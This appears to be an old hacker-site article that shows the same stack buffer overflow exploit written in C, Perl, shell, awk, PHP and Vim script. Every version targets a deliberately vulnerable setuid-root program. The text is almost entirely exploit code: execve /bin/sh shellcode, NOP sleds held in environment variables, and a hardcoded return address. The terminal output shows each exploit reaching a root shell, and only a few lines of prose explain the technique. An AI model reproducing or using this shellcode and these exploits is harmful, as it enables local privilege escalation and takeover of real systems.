Overflow Exploits


  • Shadow Angel
  • h4ck3r_shadowangel[~@t~]yahoo[~d.t~]com
  • Friday, July 13th, 2007
  • CopyLEFT (c) 2011++ www.spyrozone.net All Rights Reserved


Overflow exploits are not only compiled by C. Instead, they can be compiled by almost any programming language. The examples in this article are tested on Linux and demonstrated by overflow exploits compiled by C, Perl, Shell and Awk. The reason for this choice is that almost all these languages are bundled with Unix (except for C in commercial Unix systems).

In the following examples accurate location is implemented basically by placeing SHELLCODE to environment variables.

<1> vul.c that is vulnerable to overflow

[cloud@test]$ id
uid=505(cloud) gid=503(test) groups=503(test)
[cloud@test]$ cat vul.c
/* Demo
Have a bof vul at argv[1].
Write by watercloud @ xfocus.org
*/
#include<stdio.h>
int main(int argc,char * argv[])
{
char buff[32];
if(argc > 1)
{
strcpy(buff,argv[1]);
}
printf("buff : %s\n",buff);
return 0;
}
[cloud@test]$ gcc vul.c -o vul
[cloud@test]$ ls -l vul
-rwxr-xr-x 1 cloud test 11627 2&#26376; 24 10:14 vul
[cloud@test]$ sudo chown root vul
[cloud@test]$ sudo chmod u+s vul
[cloud@test]$ ls -lh vul
-rwsr-xr-x 1 root test 11K 2&#26376; 24 10:14 vul

<2> C exploit ex.c

[cloud@test]$ cat ex.c
/* Demo for exploit bof of "./vul"
Write by watercloud @ xfocus.org
*/
#include <stdio.h>
#define TARGET "./vul"
#define ADDR 0xbffff3e8
char SH[]="1\xc0PPP[YZ4\xd0\xcd\x80"
"j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
int main(int argc,char * argv[])
{
char env_buff[4000];
char cmd_buff[1024];
int i,ret;
unsigned int *pi;
char * pc;

for(i=0;i<3096;env_buff[i++]=0x90){ };
env_buff[i]='\0';
strcat(env_buff,SH);
setenv("KK",env_buff,1);
strcpy(cmd_buff,TARGET);
pc=&cmd_buff[strlen(TARGET)];
*pc++=' ';
for(ret=1,i=0;i<4 && ret;i++)
{
int j;
*pc++='A';
pi=(unsigned int *)pc;
for(j=0;j<20;*pi++=ADDR,j++){};
*pi=0;
ret=system(cmd_buff);
}
return ret;

}
[cloud@test]$ gcc ex.c -o ex
[cloud@test]$ ./ex
buff : A&#26805;&#63733;&#33007;?&#33007;?&#33007;?&#33007;
?&#33007;?&#33007;?&#33007;?&#33007;?&#26805;&#63733;&#33007;??
buff : AA&#26805;&#63733;&#33007;?&#33007;?&#33007;?&#33007;?&#
33007;?&#33007;?&#33007;?&#33007;&#33007;?&#33007;??buff : AAA&
#26805;&#63733;&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33
007;?&#33007;?&#33007;&#63733;&#33007;?&#33007;??
buff : AAAA&#26805;&#63733;&#33007;?&#33007;?&#33007;?&#33007;?&
#33007;?&#33007;?&#33007;?&#33007;
?&#33007;?&#33007;??
sh-2.05b# id
uid=0(root) gid=503(test) groups=503(test)
sh-2.05b# exit
exit

<3> perl exploit ex.pl

[cloud@test]$ cat ex.pl
#!/usr/bin/perl
# Demo for exploit bof of "./vul"
# Write by watercloud @ xfocus.org

#$ENV_LEN=`env |wc -c`
$SHELL="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
$ENV{KK}= "\x90"x 3096 . $SHELL;
for($ret=1,$ag="AA",$i=0;$i<4 && $ret; $ag="A"x $i++) {
$ret=system "./vul",$ag. "\xff\xbf\xe8\xf3"x20; #ADDR:0xbffff3e8
}
#EOF
[cloud@test]$ perl ex.pl
buff : AA&#63733;&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?
&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;
?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?
sh-2.05b# id
uid=0(root) gid=503(test) groups=503(test)
sh-2.05b# exit
exit

<4> Shell exploit ex.sh

[cloud@test]$ cat ex.sh
#/bin/bash
# Demo for exploit bof of "./vul"
# Write by watercloud @ xfocus.org

#ENV_LEN=`env |wc -c|tr -d ' '`
SH="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
AG="AA";for (( i=0;i<10;i++));do AG=$AG$AG;done ;AG=$AG$AG$AG #3096
for((i=0;i<20;i++));do AD=$AD"\xff\xbf\xe8\xf3";done #ADDR:0xbffff3e8
export AGSHELL=$AG`echo -e $SH`

for((i=0;i<4;i++)) ;do
AA=$AA"A"
if ./vul $AA`echo -e $AD`
then break
fi
done
#EOF
[cloud@test]$ chmod a+x ex.sh
[cloud@test]$ ./ex.sh
buff : A&#63733;&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;
?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;
?&#33007;?&#33007;?&#33007;?&#33007;?&#63733;&#33007;?&#33007;?./ex.sh:
line 16: 5287 &#27573;&#38169;&#35823; ./vul $AA`echo -e $AD`
buff : AA&#63733;&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?
&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?
&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?
sh-2.05b# id
uid=0(root) gid=503(test) groups=503(test)
sh-2.05b# exit
exit

<5> awk exploit ex.awk

[cloud@test]$ cat ex.awk
# Demo for exploit bof of "./vul"
# Write by watercloud @ xfocus.org

BEGIN{
SH="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
AG="AA";
for ( i=0;i<10;i++)
{
AG=AG""AG;
}
AG=AG""AG""AG #3096
for(i=0;i<20;i++)
{
AD=AD"\xe8\xf3\xff\xbf"; #ADDR:0xbffff3e8
}

AA="AA"
for(i=0;i<4;i++)
{
AA=AA"A"
system("./vul "AA""AD" "AG""SH)
}
}
#EOF
[cloud@test]$ gawk -f ex.awk /dev/null
buff : AAA&#26805;&#63733;&#33007;?&#33007;?&#33007;?&#33007;?&#33007;
?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;
?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;??buff : AAAA&#26805
;&#63733;&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&
#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#
33007;?&#33007;?&#33007;?&#33007;??
sh-2.05b# id
uid=0(root) gid=503(test) groups=503(test)
sh-2.05b#

<6> PHP exploit

[cloud@MagicLinux tmp]$ id
uid=502(cloud) gid=502(cloud) groups=502(cloud)
[cloud@MagicLinux tmp]$ ls -l vul
-rwsr-xr-x 1 root root 4895 2&#26376; 26 20:57 vul
[cloud@MagicLinux tmp]$ cat ex.php

<?php
$SH=”1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
$AG="AA";
for( $i=0;$i<10;$i++){
$AG.=$AG;
}
$AG.=$AG.$AG; #3096

for($i=0;$i<20;$i++) {
$AD.="\xff\xbf\xe8\xf3";#ADDR:0xbffff3e8
}
for($i=0;$i<4;$i++) {
$AA.="A";
print system("./vul ".$AA.$AD.$AG.$SH);
}
?>

[cloud@MagicLinux tmp]$ php ex.php 1>/dev/null
id >&2
uid=0(root) gid=502(cloud) groups=502(cloud)
exit
[cloud@MagicLinux tmp]$

<7> Vim extension script exploit

Even extension programming script of vim compiler can be used to write an overflow exploit.

[cloud@MagicLinux tmp]$ id
uid=502(cloud) gid=502(cloud) groups=502(cloud)
[cloud@MagicLinux tmp]$ cat ex.vim
let SH="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80"
let AG="AA"
let i=0
while(i<10)
let AG=AG.AG
let i=i+1
endwhile
let AG=AG.AG.AG
"len of AG is 3096

let AD=""
let i=0
while(i<20)
let AD=AD."\xff\xbf\xe8\xf3"
"ADDR:0xbffff3e8
let i=i+1
endwhile

let AA=""
let i=0
while(i<4)
let AA=AA."A"
execute "!./vul ". AA . AD . AG . SH
let i=i+1
endwhile
[cloud@MagicLinux tmp]$ ls -l vul
-rwsr-xr-x 1 root root 4895 2&#26376; 26 20:57 vul
[cloud@MagicLinux tmp]$ vim -eS ex.vim
Xlib: connection to ":0.0" refused by server
Xlib: No protocol specified

buff : A&#65533;&#33007;&#65533;&#33007;&#65533;&#33007;&#65533;&#33007;
&#65533;&#33007;&#65533;&#33007;&#65533;&#33007;&#65533;&#33007;&#65533;
&#33007;&#65533;&#33007;&#65533;&#33007;&#65533;&#33007;&#65533;&#33007;
&#65533;&#33007;&#65533;&#33007;&#65533;&#33007;&#65533;&#33007;&#65533;
&#33007;&#65533;&#33007;&#65533;&#33007; &#39515;
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&#8230;
&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;
&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;
&#8230; &#8230;&#8230; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1&#32366;
PP[YZ4&#22411;&#65533;jX&#27248;hn/shh//biT[RSTY&#34525;sh-2.05b# id uid=0(root)
gid=502(cloud) groups=502(cloud)
sh-2.05b#

<8> ......

<9> Summary

The basis of overflow is address location, usage of data structure such as heap, and architechure the organization/OS is running on. Knowing these we can understand that overflow exploit itself is unrelated to programming language.


//E.O.F